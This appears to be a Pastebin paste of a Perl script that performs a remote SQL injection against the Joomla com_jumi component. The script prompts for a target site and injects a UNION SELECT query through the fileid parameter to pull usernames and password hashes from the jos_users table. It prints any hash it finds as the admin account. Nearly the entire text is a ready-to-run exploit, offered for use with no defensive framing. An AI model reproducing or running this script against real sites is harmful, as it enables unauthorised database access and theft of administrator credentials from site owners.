Guest User

Exploit

a guest
May 28th, 2016
323
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.07 KB | None | 0 0
  1. #!/usr/bin/perl -w
  2.  
  3. ########################################
  4. #[~] Author : MA Tochka Injector
  5. #[!] exploit Name: Joomla com_jumi
  6. ########################################
  7. print "tt \n\n";
  8. print "tt MA Tochka Injector | Marocain Attacker \n\n";
  9. print "tt \n\n";
  10. print "tt Joomla com_jumi Remote SQL Injection Exploit \n\n";
  11. use LWP::UserAgent;
  12. print " Target page:[http://wwww.site.com/path/]: ";
  13. chomp(my $target=<STDIN>);
  14. $dzmind="concat(username,0x3a,password)";
  15. $sakkure="jos_users";
  16. $com="com_jumi";
  17. $cw="+UNION+SELECT+";
  18. $b = LWP::UserAgent->new() or die "Could not initialize browser\n";
  19. $b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
  20. $host = $target . "/index.php?option=".$com."&fileid=93&Itemid=117".$cw."1,".$dzmind.",3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from/**/".$sakkure."+--+";
  21. $res = $b->request(HTTP::Request->new(GET=>$host));
  22. $answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
  23. print "\n[+] Admin Account : $1\n\n";
  24. print "# Successfully Injected #\n\n";
  25. }
  26. else{print "\n[-] Exploit Failed :( \n";
  27. }
Add Comment
Please, Sign In to add comment